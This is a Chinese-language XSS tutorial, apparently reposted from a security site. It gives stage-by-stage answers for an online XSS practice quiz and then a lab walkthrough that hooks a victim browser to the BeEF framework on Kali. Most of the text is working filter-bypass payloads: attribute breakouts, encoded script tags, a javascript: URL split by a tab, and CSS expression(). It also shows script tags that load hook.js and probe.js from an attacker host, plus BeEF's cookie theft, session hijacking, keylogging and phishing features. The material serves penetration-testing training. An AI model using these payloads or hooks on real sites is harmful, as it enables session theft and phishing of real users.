第一部分:在线XSS靶机实战篇
说明: 这是一个综合了各种XSS漏洞验证环境的综合在线靶机,这个靶机熟悉了,XSS基本就没什么问题了.
当然还有pikachu或者dvwa,有精力的同学可以自行练习,这里就不做讨论了.
提示: 这里为了方便大家理解,介绍几个常用xss测试语句.我们统称为payload,可以尝试多个payload.
<script>alert(1)</script> //这里alert(1)只是为了简单明了,当然可以弹出cookie.把1换成document.cookie即可.
<script src=x onerror=alert(1)></script> //引入x,由于x不存在,触发onerror函数,进行弹框
<script src=’http://www.test.com/probe.js’></script> //直接引入到攻击者的后台网站(可以直接用beef)
<svg onload=alert(1)> //svg标签用来插入图形,onload表示页面加载完成,触发弹框
<video src=1 onerror=alert(1)> //插入视频时,错误就触发弹框
<audio src=1 onerror=alert(1)> //插入声音时,错误就触发弹框
<a href=javascript:alert(1)></a> //href里可以使用javascript伪协议进行弹框(当过滤了其他语句时,可以使用)
Stage-1
#(1)没有过滤,直接用标签即可
<script>alert(document.domain);</script>
Stage-2
#(2)闭合标签,再引入script
11111″><script>alert(document.domain);</script>
#或者闭合前边引号,引入事件
” onmouseover=alert(document.domain)>
Stage-3
#(3)select元素中的<option>标签(下拉菜单)标签,用于定义列表中的可用选项
输入1111″><script>alert(document.domain);</script>发现语句被转换为普通语句
#也就是P1部分做了过滤,只能用第二个参数进行尝试
Japan [</option>自动闭合] <script>alert(document.domain)</script> ”
Stage-4
#(4)闭合表单中的隐藏参数,p1和p2部分都进行了过滤,所以只能在p3位置进行测试
代码格式:<input type=”hidden” name=”…” value=”…”>
#答案1: “><svg onload=alert(document.domain)>%0a (%0a用来替换空格)
#答案2: “><script>alert(document.domain);</script>也可以
#解析:svg/embed/object/iframe
SVG 意为可缩放矢量图形(Scalable Vector Graphics)。
SVG 使用 XML 格式定义图像。
SVG 文件可通过以下标签嵌入 HTML 文档:<embed>、<object> 或者 <iframe>。
也可以使用svg标签插入。
<embed>:
优势:所有主要浏览器都支持,并允许使用脚本
缺点:不推荐在HTML4和XHTML中使用(但在HTML5允许)
语法:
<embed src=”circle1.svg” type=”image/svg+xml” />
<object>:
优势:所有主要浏览器都支持,并支持HTML4,XHTML和HTML5标准
缺点:不允许使用脚本。
语法:
<object data=”circle1.svg” type=”image/svg+xml”></object>
<iframe>:
优势:所有主要浏览器都支持,并允许使用脚本
缺点:不推荐在HTML4和XHTML中使用(但在HTML5允许)
语法:
<iframe src=”circle1.svg”></iframe>
Stage-5
#(5)事件触发
#答案 “><svg/onload=alert(document.domain)>%0a
Stage-6
#(6)闭合之前的input标签;或使用事件触发
#尝试用该语句直接被转换为html实体:
“><script>alert(document.domain)</script>
#答案1: 111″ onmouseover=”alert(111)”>
Stage-7
#(7)闭合”使用事件
#答案: 777 onmouseover=alert(document.domain);
Stage-8
#(8)利用伪协议
javascript:alert(document.domain)
Stage-9
#(9)编码使用的utf-7,很少了,略过
Stage-10
#(10)过滤了domain
#答案1: “> <script>alert(document.dodomainmain);</script>
#答案2: “><script>eval(atob(‘YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==’));</script>
atob: 表示把Base64编码转换为正常字符串
Stage-11
#(11)过滤了script,伪协议绕过
#测试1:过滤了script
“> <a href=”javascript:alert(document.domain)”>xss</a>
#答案1:谷歌浏览器才行,使用tab把script分开进行绕过,在javascript中输入tab.
“><a href=”javascr ipt:alert(document.domain);”>xss</a>”><a
“><a href=”javascr ipt:alert(document.domain);”>xss</a>
#答案2:如果是火狐浏览器,空格不能直接绕过;可以使用tab的html实体绕过
“><a href=javascri	pt:alert(document.domain)>test</a> //	 tab制表符html十进制编码
Stage-12
#(12)利用IE特性,2个“可以闭合前边的”
#提示:把\x00-\x20的字符与及<,>,”,’都替换为空
“ onmousemove=alert(document.domain)
Stage-13
#(13)使用background:url触发
#分析:根据style属性来触发XSS;要使用IE浏览器才行.
#IE10可用答案:建议使用IEtester工具
background-color:#f00;background:url(“javascript:alert(document.domain);”);
#IE11可用:但是会出现死循环,任务管理器里关闭即可
background-color:salmon;xss:expression(alert(document.domain));
Stage-14
#(14)还是在 style中构造xss,同时又过滤了url,script,eval,expression关键字都替换为了xxx。
#优化后的payload,限制1次弹框
background-color:salmon;xss:expre/**/ssion(if(!window.x){alert(document.domain);window.x=1})
Stage-15
#(15)过滤了<>尖括号,用\\和16进制编码绕过
连接地址https://xss-quiz.int21h.jp/stage__15.php?sid=c45ea569ad6de0486e302b53a21d3c418cdceaa1
<>/转换为16进制分别是0x3C和0x3E和0x2f
#原始语句:
<svg/onload=alert(document.domain)>
#把特殊符号转换为16进制编码后
\x3csvg\x2fonload=alert(document.domain)\x3e
#所以最终语句1:
\\x3csvg\\x2fonload=alert(document.domain)\\x3e
#也可以用语句2:
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Stage-16
#(16)过滤了<>尖括号,用\\和unicode编码绕过
地址https://xss-quiz.int21h.jp/stage00000016.php?sid=34d6de8e617bf6c7d8d37e59321b9f6d8c34b6f1
#提示:”document.write();” and “s/\\x/\\\\x/ig;
#把\\x替换为了\\\\x
#语句1–>使用unicode编码,原始语句为<script>alert(document.domain);</script>:
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
#语句2–>:使用unicode原始语句<img src=x onerror=>alert(document.domain)>:
\\u003cimg src=x onerror=alert(document.domain)\\u003e
#语句3–>使用8进制原始语句<img src=x onerror=>alert(document.domain)>
\\74img src=x onerror=alert(document.domain)\\76
Stage-其他
#(17)第17和18关需要老版本IE,这里就不讨论了
地址 https://xss-quiz.int21h.jp/stage-No17.php?sid=ccc92162993f5dcf5634616940c2e19d0d60ab1b
第二部分:XSS+Beef
引言:
前边的测试都是为了获取页面的cookie信息,那么获取后,我们能做些什么呢?
收集信息/网络扫描/钓鱼攻击等JS可以做的事情,实际XSS都能实现.
那不会写这些代码怎么办?
没关系,Beef框架已经为您准备好了一切.
说明:
进行beef框架利用的前提是被攻击者一直在打开页面状态中,这样cookie才有效,才能被攻击.
另外beef虽然支持多种功能,但是用户在线是第一个条件,其他还受软件版本/安全防护等其他条件限制.如果不能实现某些功能,就不要纠结了.
2.1 beef介绍和利用
-
beef介绍
(1)beef (Browser Exploitation Framework)是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合本地的多功能JS脚本,堪称完美.
(2)优点:支持图形化和命令行界面,功能强大,操作简单.
-
beef功能
(1)收集信息:网络主机发现/cookie获取/会话劫持/记录键盘(不过不太好用..哈哈)等
(2)社工攻击:点击劫持/弹框告警/模拟钓鱼页面等
(3)搭配其他漏洞进行内网攻击/CSRF攻击/DDOS攻击等
- 钓鱼地址:<script src=”http://192.168.10.20:3000/hook.js”></script>
2.2 xss+beef实验
-
请准备Kali2020并进行下载安装 https://www.kali.org/downloads/ 推荐使用VMware版本,不用安装,可以直接用VMware打开.
默认vm版本用户名密码为root/toor
-
环境说明:
kali作为攻击者:192.168.10.20
dvwa所在主机作为存在漏洞的web服务器:192.168.10.1
win7作为被攻击的客户端:192.168.10.7
#首先进行网络测试,保证3台主机之间都能相互访问,为了实验顺利,我们先关闭防火墙 -
在Kali中启动beef—->攻击者就位
第一步:启动apache
systemctl start apache2 #重启apache systemctl status apache2 #查看状态
systemctl status apache2 #查看状态
第二步:安装并启动beef
apt-get install beef-xss beef -y #安装主程序
beef-xss #启动beef
web访问地址: http://192.168.10.20:3000/ui/authentication
钓鱼地址:<script src=”http://192.168.10.20:3000/hook.js”></script>
-
把恶意代码挂载到web服务器上—>进行钓鱼
有长度限制,找到该对话框的长度限制,把maxlength=1000
- 到这里,用户就上线了(这里是真机上线了).
把恶意代码挂载到web服务器上—>进行钓鱼
-
不同按钮代表不同的功能
(1)绿色:对主机生效并且不可见(很难被发现)
(2)橙色:对主机生效,可能被发现
(3)灰色:对目标主机可能生效(需要手工验证)
(4)红色:对目标主机不生效
2.3 beef功能介绍
1.获取ajax信息
2.获取cookie信息
3.获取表单信息
4.获取页面url连接
5.获取代码
6.钓鱼
7.修改页面链接
8.摄像头
9.网络探测
10.主要功能说明:功能特别多,这里就不一 一列举了,有兴趣的同学可以自己挖掘一下.
来源:freebuf.com 2020-07-22 23:56:39 by: zhijian
















































